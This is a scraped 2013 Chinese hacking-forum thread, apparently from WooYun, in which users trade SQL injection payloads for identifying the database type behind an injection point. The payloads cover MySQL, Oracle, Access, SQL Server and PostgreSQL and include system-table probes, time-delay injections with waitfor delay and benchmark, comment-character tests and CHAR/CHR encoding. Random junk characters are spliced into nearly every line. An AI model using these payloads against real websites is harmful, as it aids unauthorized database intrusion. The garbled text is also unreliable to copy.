一个注射点如何最快速确认是什么类型数据库
1 n, D! ^5 m. A% ^% cxsser (十根阳具有长短!!) | 2013-02-05 12:365 a; [6 k% q1 F4 Y# q
假设这么一个注射点:* F5 a2 _) {$ H& w
show.html?id=2
k: R( ^3 W7 E4 B/ Bmysql:id=2 and version()>0
7 E* S/ x2 [, c! U) n1 Eoracle:id=2 and '1'||'1'='11 D* w. u8 B) c) Y" ], D1 A, E3 }# Y5 y
其他的欢迎补充1 g7 T2 D- w3 j; F0 N$ Q+ L+ M3 X
1#
% R; [4 V9 Y% _% Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
- l2 j; V: W l8 _Access:2 Z, x* K1 b5 F* E( k
aNd aSc(cHr(97))=979 j9 q5 U/ _+ ]
and exists(select id from MSysAccessObjects)# b) X% q9 Z9 H8 r
SQL Server:
+ B& @: T8 U: \' B$ ?, Nand exists(select id from sysobjects)
2 I. F: S" Z6 \1 {! K% |8 K8 `and length(user)>0
+ G( j2 g$ W, i2 A, L/ JMySQL:
+ r0 l v5 j' }' ^/ w8 t( K" o. S) Aand length(user())>0
0 E$ s; m3 S: H2#
# _( X- ^) {4 Qxsser (十根阳具有长短!!) | 2013-02-05 12:48
+ e- D1 f" z5 {8 o@upload 如果这些都不是呢…
( i8 ^1 Q! [" K; o, m! x3#
: v" q7 V5 I- M' j1 T4 ~3 f, A; Z hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
J6 M. O/ |9 C$ Z3 s/ {@xsser 不快速的,延时注入# l( M5 i/ {& p3 z0 j
不知道这样写对不对. [% O& U4 e) H- I- W0 ^
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'9 Z' Q0 c2 o( @
mysql:id=2 and select benchmark(1e8,current_date());
& X. y# G6 M/ f f4#
, _0 I) |9 L' W. Oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10- z* O: ?5 K' G2 S/ s( G0 _7 N3 Y
最快的貌似是看报错信息% ^7 O* o3 k! h# q
oracle error
( u9 h6 i+ k' `; g( z4 w1 jmssql error# `% d. A) \& Q% z) |" F9 L+ E
mysql error% Z' ~! |7 T0 N$ X$ P
5#+ B! B% S5 [; O/ L, h6 u- M! S
Nimda (你们都是坏银~) | 2013-02-05 13:14* a$ O- Y. F* ~0 W* C1 ~# d: g1 u
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
8 a$ m3 B, ^& h7 d s4 q+ R, s6#3 G4 ^8 H. |# w0 Q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
- b4 @8 Z/ P7 ?4 ]5 w“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:# [+ B1 X# Z- R% I! ^/ U
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:) K. t" ]" ^% x6 C. Y5 b9 H. p
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
- u5 m7 t. y2 H+ g# ?& A7#; q! [ Y$ Q+ J s: M
_Evil (HackEnd) | 2013-02-05 13:334 ]# b4 _1 |) w: X. E. I
PostgreSQL5 T+ u! @" {) T# D( C- k
8#6 w+ b& N& S& h$ `; k; r
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
5 n4 B) |# I' L切换编码 and 1=13 f; d, H( I% _ q* T' S( E
oracle:, m, ~5 l" P6 p6 p/ d l3 A( d; H
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)8 q2 W% v! l! {
mssql:( c+ g3 C( V. E* [# k; v6 z* e: G
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
9 ~: d# V) b* l. cmysql:
, g4 ^5 b- L- t) {1 ]CHAR(97, 110, 100, 32, 49, 61, 49): N1 L" Q' H8 i4 E
9#5 T2 |& ]& Y* N* ]) v
xsser (十根阳具有长短!!) | 2013-02-05 14:31
3 x$ `% h; h. z) u6 h@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?9 o& U$ ?' |2 ~ R3 M
10#
5 |3 O& w1 z+ ]' j6 S/ fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
4 a, q7 h* w) m@xsser 是奇葩数据库类型的么?
- }2 Y5 y9 n6 f" R根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
* c' E" q4 k3 X& |! Q1.是否可以使用特定的函数来判断,该数据库特有的
( b5 s0 y; X+ F" y t9 k9 t, `! U2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
# d9 E. I0 A; V. z' h3.是否可以编码查询9 q0 M+ w, I6 s7 B9 D) q0 H
4.是否显可以利用错信息% [. Y; C E1 Y8 N7 b) J
5.是否存在数据库某些特性辅助判断) |* w* T# _) L* `' D; Z
个人见解
/ k4 y1 N1 H# _6 _' P O11#$ A$ R- }; q$ c% H
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
1 e" i! m: v+ M3 B已收藏,mssql可以直接看到错误提示的吧~
% \9 j+ D4 [' Y/ Q12#: c2 E( L# t# V3 i& W+ q" G* j
Passer_by | 2013-02-05 15:09
: ~. u! M- V V- P2 S曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。0 g1 B8 @. M+ b* v
from:http://zone.wooyun.org/content/260 |